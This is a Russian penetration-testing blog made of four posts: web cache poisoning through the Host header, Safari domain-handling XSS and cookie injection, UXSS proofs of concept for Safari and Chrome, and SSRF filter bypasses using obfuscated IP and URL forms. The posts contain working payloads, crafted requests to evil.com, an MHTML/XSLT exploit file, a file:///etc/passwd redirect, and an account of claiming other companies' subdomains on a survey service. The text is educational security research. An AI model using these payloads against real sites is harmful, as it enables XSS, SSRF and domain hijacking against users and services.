Отравление кэша веб-приложений

By | Blog | 5 комментариев

Кэширование облегчает жизнь всем — и клиентам, которые быстрее получают данные, и серверам, которые значительно экономят на ресурсах. Некоторые даже построили на этом бизнес, строя сети CDN и предоставляя кэширование как услугу.

Некоторые окружения настроены таким образом, что статичные файлы кэшируются по расширению. Например кэш распространяется на такие файлы как css или js.

Подобным поведением воспользовался Omer Gil, который заметил, что если веб-приложение отвечает “200 OK” на несуществующий URL, то подставив к нему расширение одного из статичных е (например, css), то такая страница кэшируется и станет доступна анонимному пользователю (атакующему). Более подробно можно прочитать в его блоге.

Существуют различные примеры конфигураций кэша и его тонкая настройка, однако, также существуют и уязвимые механизмы кэширования, о которых я расскажу. Это порождает такие атаки как обман кэширования (cache deception) и его отравление (cache poisoning)

Особенности некоторых веб-приложений

Многие сайты настроены таким образом, что вставляют на страницу текущий домен. То есть для этого достаточно, чтобы имелся подобный фрагмент конфига nginx:


server {
   listen       80;
   server_name  _; // принимать любой домен
   ...
}

И само веб-приложение использовало $_SERVER[‘HTTP_HOST’] или его аналог.

При посещении страницы mysite/index.php на странице будет подобный код:


<script src='https://mysite/assets/js/jquery.js'></script>

Однако, если отправить HTTP-запрос с своим заголовком Host

GET /index.php HTTP/1.1
Host: evil

на страницу попадут уже такие данные:


<script src='https://evil/assets/js/jquery.js'></script>

Если мы изменим имя домена, то и изменятся пути подгрузки ресурсов или ссылки на страницы. Я думаю ты встречал подобные сайты, но ты понимаешь, что нельзя передать пользователю ссылку с своим заголовком Host. 

 

Иногда можно.

Пара слов о кэшировании

Кэширование можно выделить на несколько режимов:

Кэширование файлов без параметров

https://mysite/pic.jpg — попадет в кэш

https://mysite/pic.jpg?myparam=test — в кэш не попадает, как и другие страницы с параметрами в ссылке.

 

Игнорирование параметров

https://mysite/pic.jpg?myparam=test

https://mysite/pic.jpg?myparam=test&myparam2=test2

Вернет кэш запроса https://mysite/pic.jpg

 

Кэширование каждого уникального URL-адреса

https://mysite/pic.jpg?myparam=test

https://mysite/pic.jpg?myparam2=test2

Каждой уникальной ссылке — свой кэш.

Именно поэтому часть ресурсов кэшируют первое обращение к странице, если до этого таких параметров не было.

Отравление кэша

Идея атаки в том, что мы подменяя заголовок Host дополнительно создаем уникальную ссылку, которая еще не присутствовала в веб-приложении


GET /?MyUniqParam=test1337 HTTP/1.1
Host: evil.com

Если такая ссылка попадет в кэш (а в некоторых случаях так и происходит) — мы можем подгрузить js с ресурса, который мы контролируем!

 

Отдав ссылку https://mysite/?MyUniqParam=test1337 жертве мы автоматически получаем возможность выполнить XSS атаку, так как на странице уже заранее сохранен наш домен


<script src='https://evil.com/assets/js/jquery.js'></script>

Или, например, так:

И еще немного трюков

Еще одним вариантом передачи заголовка может служить следующее обращение к ресурсу:


GET https://evil/?myparam=test
Host: mysite

Если пользовательские данные, которые попадают на страницу, не позволяют выполнить атаку, можно попробовать изменить содержимое заголовка.

Для начала стоит попробовать сделать классическую HTML Injection, передав в качестве значения заголовка какой-нибудь XSS вектор.

Но часто может помочь другой трюк. Некоторые веб-сервера игнорируют содержимое заголовка Host после знака двоеточия, который может также попасть в содержимое страницы.

Поэтому первым делом попробуй отправить подобный запрос:


Host: mysite:"><xss>

Если все таки такие символы фильтруются, можно попробовать добавить символ «@»:


Host: mysite:@evil

В сформированной ссылке это позволяет отбросить часть данных — mysite уйдет как логин для basic auth, а конечным хостом станет evil

Еще одним трюком, если ничего не помогло, можно попробовать дописать свои данные через пробел:


Host: mysite "><xss>

В некоторых случаях заголовки X-Forwarded-Host и Forwarded могут переписать текущее значение Host.  Заголовок можно просто дописать вместе легитимным заголовком:


GET /?myparam=test HTTP/1.1
Host: mysite
X-Forwarded-Host: evil

Заголовок Forwarded выглядит немного по-другому, но суть та же:


GET /?myparam=test HTTP/1.1
Host: mysite
Forwarded: host=evil

Если кэширование настроено на определенные директории или форматы файлов, можно также попробовать эксплуатировать атаку создавая уникальную ссылку не параметрами к странице, а с помощью добавления расширения, таким как css или js. Или попытаться обратиться к директориям, в которых возможно, настроено агрессивное кэширование, например /static/, /js/, /upload/.

Вывод — не весь кэш одинаково полезен. Помимо заголовка Host можно попробовать использовать и другие данные, которые попадают на страницу, например, такие как User-agent или Referer. Из-за особенностей работы веб-приложений можно отравить кэш, как следствие — выполнять атаки на клиентов. Пробуй 🙂

Особенности Safari в client-side атаках

By | Blog | 2 комментария

Что делает браузер, чтобы открыть страницу? Для начала, он отправляет запрос DNS серверу, чтобы узнать, с каким IP ему иметь дело.  Как известно, DNS-сервер может отвечать на произвольный запрос, если такая настройка (wildcard) присутствует.

Например, воспользовавшись утилитой dig попробуй отправить такой запрос:

dig "x^x`<\">'\!x=x.yandex.ru" A

DNS сервер вернет IP адрес.

Но что будет, если перенаправить пользователя на такой домен в браузере? Будет ли браузер вообще пытаться открыть такой URL? Конечно нет! Браузер перед отправкой запроса проверяет,  является ли строка доменным именем!

Только если это не Safari…

Потому что может

Особое свойство Safari — он посылает DNS запрос, даже если у доменного имени присутствуют спецсимволы. Правда и CURL не имеет механизма проверки подлинности домена, но этой утилите можно простить. Подобное поведение порождает целый класс client-side уязвимостей, о которых мы сейчас и поговорим.
Чтобы убедиться, наличие такой суперсилы можно проверить на домене hsts.pro. Safari будет пытаться открывать ресурс, если помимо букв и цифр содержатся следующие спецсимволы:

Вот попробуй —
http://!"$&'()*+,-;<=>^_`{|}~.hsts.pro
(разумеется, только для Safari и если DNS сервер, который ты используешь дает ответ, например 8.8.8.8 отвечает корректно).

Более того, туда можно записать и непечатаемые символы:
%01-%08, %0b-%0c, %0e-1f, %7f.

XSS via Host header

Если на страницу попадает текущий домен, к примеру, с помощью $_SERVER[‘HTTP_HOST’], то можно попробовать провести внедрение произвольного javascript сценария. Разумеется, уязвимое веб-приложение должно отвечать на такой поддомен. Из других минусов — как выяснилось при тестах, некоторые DNS сервера не позволяют отправлять символы “(“ и “)”. Если не пускает скобки, используем фичу js — шаблонные строки. Чтобы вызвать функцию, например, alert() — достаточно использовать вместо скобок символ бэктика — alert``.
А такие символы как “/”, символ пробела или табуляции и вовсе не могут быть частью доменного имени. Однако, так как мы имеем доступ и к управляющим символам, пробел может заменить символ смены страницы — %0c. Символ перевода курсора на новую страницу, в нашем случае, будет равнозначным с пробелом.

Таким образом, ссылка вида
http://a">'><img%0csrc%0conerror=alert``>a.hsts.pro
будет корректно воспринята браузером и в качестве домена, и в качестве тега при попадании в html, а значит, если не будет мешать XSS Auditor — функция alert выполнится.

Дальше — проще, если понадобится указать “/” внутри атрибута — можно использовать, например, его мнемоник — &sol;

Cookie Injection

Другой, очевидный вариант использования, это инъекция в Cookie. Если в домене будет содержаться знак «;» — это даст возможность отрезать часть заголовка и внедрить свою логику, если заголовок создания cookie также зависит от заголовка HOST. Использование подобного когда во многих проектах — норма:

Даже если XSS отсутствует и ты видишь, что приходит заголовок Set-Cookie с атрибутом domain, попробуй изменить домен таким образом, чтобы выполнить инъекцию.
Более того, (как уже показывал Black2Fan) — Safari имеет еще одну забавную фичу — перечисление нескольких Cookie в одном заголовке Set-Cookie через запятую. Поэтому, используя специально сформированную ссылку можно устанавливать произвольные Cookie в браузер жертвы, закрыв предыдущую печеньку символом “;”, а через запятую перечислить куки, которые ты хочешь установить.

XSS via Referer

Всем известно, что браузеры преобразуют спецсимволы в их URLEncode представления, поэтому даже если содержимое Referer попадает на страницу, перенаправить пользователя с страницы
site/<script>alert()</script>.html
и выполнить XSS не получится, так как до веб-приложения этот заголовок дойдет как
Referer: http://site/%3Cscript%3Ealert()%3C%2Fscript%3E.html
На сайте я оставил r.php с параметром u, который можно использовать для перенаправлений. Попробуй перейти сюда:
http://hsts.pro/r.php?u=//hsts.pro/referer.php&xss=<script>alert()</script>

Но все меняется, если жертва использует Safari. Ведь все спецсимволы, которые содержатся в доменном имени будут проходить функцию URLDecode, и придут в заголовке на уязвимую страницу в подходящем для нас виде.

А чтобы убедиться, что все работает — вот тебе ссылка:
http://a<img%0csrc=x%0conerror=alert``>.hsts.pro/r.php?u=//hsts.pro/referer.php

Что-то еще?

А как поведет себя веб-сервер, получив в качестве заголовка Origin спецсимволы, которых в принципе в домене быть не может (ну мы-то знаем)?
Как уже выяснил один из охотников на ошибки, символ бэктика (%60), мог обойти проверку заголовка Origin и смог выполнить XHR запрос в обход логики работы веб-приложения на одном из серверов Yahoo — вжух.

Поэтому, кто знает, как поведет себя тот или иной сайт, если в заголовке Origin будут присутствовать посторонние символы. Рекомендую в первую очередь проверить:
victim.com&.evil.domain
victim.com`.evil.domain
victim.com%01.evil.domain

А напоследок

Забавно, что Safari все больше и больше превращается в Internet Explorer. До этого Host Header XSS и обход URLEncode были только в нем, но теперь вектор атаки расширился на пользователей MacOS. Если ты придумал, как еще использовать подобное поведение браузера — обязательно напиши об этом в комментариях.

Обязательно попробуй подобные атаки на BugBounty, авось 😉

Комикс о UXSS в Safari и Chrome

By | Blog | 8 комментариев

Привет! Помимо уязвимостей клиентской части веб-приложений опасность представляют и само клиентское ПО. Нет, речь даже не о java или flash, а о самих браузерах.

Хочу показать тебе примеры двух браузеров-конкурентов с уязвимостью UXSS (Universal Cross-site Scripting), один из которых с закрытым исходным кодом, а другой с открытым. UXSS — это ошибка в логике работы браузера, благодаря которой злоумышленник может выполнить javascript сценарий в рамках произвольного сайта. Грубо говоря — сделать XSS там, где ее нет.

 

Safari

Что я могу сказать хорошего о Safari? Это простой и легковесный браузер, в котором нет ничего лишнего. Это правда самый быстрый браузер который мне довелось использовать. Что плохого? Ну… Он странный.

Возможно, ты уже читал мою статью о чтении локальных файлов с помощью браузера. Если коротко — открыв следующий html файл в Safari он прочитает локальные файлы и попытается слить личные документы, в рамках PoC — на свою же локальную машину (в консоли разработчика ты увидишь ошибки).

А еще функции в консоли выполняются в момент ее написания, жуть!

 

А вот что ты слышал о псевдорасширении parent-tab://? Да ничего, лишь пара упоминаний. Однако в Safari он присутствует.

Примечательно, что до 11 версии (уже) parent-tab имеет все те же привилегии для доступа к объектам домена, например к cookie.

А еще круче — в него можно писать. Вот создаешь локальный html, пишешь <iframe> с parent-tab и js’ом записываешь произвольное содержимое! Так рождается первый эксплойт, где в parent-tab.html — редирект на parent-tab://+domain

Однако, его нельзя вызвать с другого сайта, что немного огорчает. Локальные эксплойты не так весело (ну чтение файлов веселее).

Тут на помощь пришел Frans Rosén, который выяснил, что записать свою полезную нагрузку можно также с помощью window.open с аргументом _top. Вжух — и мы получаем доступ к данным сайта.

Но оказалось, эта бага в WebKit, поэтому, возможно, применима и к Chrome. Примеры эксплойта на CVE-2017-7089 ждет тебя на github.

Chrome

Хром более защищенный браузер. Наверное. Все таки это браузер с открытым исходным кодом. Между тем, несмотря на современность — в нем до сих пор поддерживаются старые вещи, например поддержка древнегреческого формата MHTML (MIME-HTML).

Что из себя представляет данный формат? Это текстовый документ, в котором прописан заголовок, тип контента (Content-Type: multipart/related) и разделитель контента (boundary). Да-да, multipart в файле. Дальше следуют дополнительные параметры, типа кодировки (может быть base64).

Ну проще один раз увидеть.

Так вот, к файлу можно написать атрибут Content-location, а потом обратиться к нему в самом html.

Например, пишем Content-location: /abc, содержимое файла. И вызываем <img src=/abc>. А можно написать Content-location: https://example.com/abc, и загрузить <img src=https://example.com/abc>

Если это изображение — то оно появится на странице при попытке открыть данный файл.

Все бы ничего, но javascript в нем запрещен. Вообще.

Но и тут находится одно «но».  Везде, кроме XSLT.

Объявляем content-type: application/xml, вставляем XSLT, получаем alert():

MIME-Version: 1.0
Content-Type: multipart/related;
type="text/html";
boundary="----MultipartBoundary--"
------MultipartBoundary--
Content-Type: application/xml;
<?xml version="1.0" encoding="UTF-8"?>
<?xml-stylesheet type="text/xml" href="#stylesheet"?>
<!DOCTYPE catalog [
<!ATTLIST xsl:stylesheet
id ID #REQUIRED>
]>
<xsl:stylesheet id="stylesheet" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:template match="*">
<html><script>alert()</script></html>
</xsl:template>
</xsl:stylesheet>
------MultipartBoundary----

Ну и как ты уже догадался, в таком документе мы можем написать Content-location: https://example.com и вызвать javascript оттуда, обойдя песочницу вопреки всем законам SOP. Добавляем к предыдущему файлу следующий файл и вместо alert вызываем его в фрейме.

------MultipartBoundary--
Content-Type: text/html
Content-Location: https://google.com
<script>alert('Location origin: '+location.origin)</script>

Для открытия MHTML нужно вернуть в ответе от сервера тип контента multipart/related, в итоге построится следующее DOM-дерево:

В хроме внесен соответствующий патч (благодаря которой был найден эксплойт). Плюсы — открытый исходный код позволяет наблюдать за всеми внесенными изменениями. Минусы точно такие же.

Демонстрация эксплойта по следующей ссылке (Chrome < 62), исходники CVE-2017-5124 на github.

Вывод

Какой-такой вывод? Ну будь аккуратнее, обновляй ПО для минимизации рисков, но ты это слышал уже тысячу раз. Что-то нового я тебе сказать не могу 🙂

Способы обхода проверки домена и IP адреса

By | Blog | 3 комментария

И снова здравствуй!

Допустим, существует приложение, которое возвращает тело страницы, если ему отправить домен или IP адрес. Но наша цель — отправить пакет на адрес внутренней инфраструктуры и проэксплуатировать такую атаку, как SSRF.

Некорректная логика работы проверки адреса

Проверка вхождения строки

Порой, обход проверки домена бывает совсем простым. Если приложение ожидает, что будет указан адрес сайта — vulnsite.com, то иногда достаточно указать его в поддомене. Вот попробуй указать vulnsite.com.evil.com — и если веб-приложение проверяет вхождение строки в домене — мы проходим эту проверку.

Ошибка в регулярном выражении

Другой способ чуть посложнее, но также встречался на реальных проектах — это проверка домена по регулярному выражению. Однако, все мы люди, а людям свойственно ошибаться. И были такие случаи, когда происходит проверка, что домен соответствует регулярному выражению, допустим

(.*)mail.vulnsite.com$

А что тут не так? А то, что точка в регулярном выражении — это любой символ, поэтому отправив ссылку на mail-vulnsite.com (который можно зарегистрировать) — проверка будет пройдена.

Отсутствие проверки перенаправления

Другие способы — это перенаправление, когда указанная ссылка перенаправляет на внутренний адрес (обычный 302 редирект). Проверку, что домен принадлежит внутренней сети — прошли, но и редирект обработали. Забавно, что редирект может быть и на file:///etc/passwd 🙂

Отсутствие проверки адреса во время запроса

Другая ошибка логики — это разделение проверки на соответствие внешнему адресу и на непосредственно сам запрос.

Приложение делает резолв доменного имени и убеждается, что ip адрес evil.com не принадлежит адресу внутренней инфраструктуры.

Потом происходит сам запрос, и утилита (или библиотека) берет адрес не из кэша, а заново получает IP адрес домена.

Для эксплуатации уязвимости необходимо настроить свой DNS сервер таким образом, что на первый запрос DNS вернул внешний IP адрес, а на последующие — внутренний.

«Отрезание» части домена

В ссылке может быть передан логин и пароль (до символа @), данные которого в HTTP-запросе уйдут в заголовок, такая ссылка имеет подобный вид:

http://google.com:80@evil.com

Для некоторых механизмов проверки — доменное имя будет соответствовать google.com, а по факту — домену, указанному через символ «@».

Некоторые символы позволяют «отрезать» хвост у домена, и если парсер пропускает их:

  • Символ решетки (hash — #).

http://evil.com#vulnsite.com

Символ используется для hash-навигации или передачи информации без участия сервера. Открыв эту ссылку в браузере, браузер отправит GET запрос только на evil.com, а обработка информации после символа происходит на стороне клиента.

  • Знак вопроса (?)

http://evil.com?vulnsite.com

Аналогичная ситуация, только строка после знака вопроса уйдет в параметр, точно так же, если открыть страницу evil.com/?vulnsite.com

  • Нулевой байт (%00)

http://evil.com%00vulnsite.com

По большей части это касается сайтов на PHP, ибо работал он с nullbyte не всегда хорошо.

  • Отдельно стоит отметить символ 💩 (U+1F4A9)

http://evil.com💩vulnsite.com

Веселый emoji «PILE OF POO» — альтернатива nullbyte для таких СУБД как MySQL с кодировкой utf8. И эта уязвимость встречается на многих проектах.

Варианты представления IP адреса

IP адрес может быть представлен различными способами. Думаю, удобнее показывать на живом сайте, а не на локальном. Берем IP адрес google.com — у меня это — 173.194.44.70.

Если мы сделаем urlencode — ссылка будет оставаться валидной:

http://%31%37%33%2E%31%39%34%2E%34%34%2E%37%30

Это применимо и к обычным доменным именам.

Каждое число в IP адресе можно представить в восьмеричной или шестнадцатеричной системах счисления:

http://0xad.0xc2.0x2c.0x46

http://0255.0302.0054.0106

Более того, эти варианты можно смешивать:

http://173.0302.0x2c.70

http://0xad.0302.0x2c.0106

Не забываем про целочисленное представление IP адреса — Long IP, например, можно воспользоваться этим сервисом. В результате мы можем получить такую ссылку:

http://2915183686

Аналогично, Long IP можно представить в восьмеричной и шестнадцатеричной системах счисления:

http://025560426106

http://0xADC22C46

Помимо этого, внутренний адрес, такой как localhost (127.0.0.1) может быть представлен как 0.0.0.0, что является исходным адресом для этого хоста в сети.

Еще один забавный лайфхак — символы нуля можно опускать.

Таким образом, появляются еще варианты:

  • 0
  • 0.0
  • 0.0.0

Это же правило применимо для других ip адресов:

  • 127.1
  • 127.0.1

А теперь применяя предыдущие методы, тот же 0x7f.0.0×01 — точно такой же адрес, как и 127.0.0.1 (попробуй пингануть, например, 0x7f.1).

Точка, точка, запятая

А закончу материал примером, который произошел совсем недавно. Все началось с того, что я увидел @_Abr1k0s_ в ленте твиттера:

 

О, так у PortSwigger есть багбаунти? Я в последнее время отстал от bb-движухи, но было интересно посмотреть, что у них находится на периметре. Пара минут — и был найден поддомен surveys.portswigger.net, который ведет на surveygizmo.com

dig surveys.portswigger.net

Как оказалось, это популярный сервис, а пользуются им многие. После регистрации в приложении я создал свою форму и попытался добавить домен PortSwigger. Естественно вылезла ошибка — «This domain name is already in use», однако, тут я вспомнил об одной фиче с доменами.

Существует такая штука, как домен нулевого уровня. В конце домена должна стоять точка, но она упускается.

Например, сайт википедии нормально работает с точкой

https://en.wikipedia.org./wiki/Main_Page

https://en.wikipedia.org/wiki/Main_Page

но как будет вести себя логика приложения — еще непонятно.

В зависимости от настроек сервера — сайт может реагировать по-разному. Кто-то будет показывать 404, кто-то invalid hostname, кто-то bad request. Но в любом случае, браузеры считают такой запрос вполне валидным.

И как ты уже догадался, я добавил домен surveys.portswigger.net. в личный кабинет. А так как сервис достаточно популярен, нашел еще десяток-другой компаний, который попали ко мне в кабинет:

surveys

В настройках была создана собственная форма с директорией /s3/, с дальнейшим редиректом.

В итоге домены имели такой вид

surveys.portswigger.net — неконтролируемый мной

surveys.portswigger.net./s3/ — домен, которым могу управлять, вел на мой контент

Ну и аналогичный конфиг на сайты microsoft, jetbrains, и ряде других.

Так как настоящий хозяин домена уже прикрепил домен к сервису, мы можем свободно использовать его домен, но уже с точкой. Если мы можем управлять контентом — можем эксплуатировать такие штуки как фиксация сессии, да и раздолье для строительства фейков.

Что имеем?

Мы можем представить ссылку на ресурс огромным количеством способов и различными вариантами обойти проверку на легитимность отправляемого домена/ip адреса. Возможно, есть еще какие-то способы, о которых я вовсе забыл или не знал, поэтому место для комментариев под статьей 🙂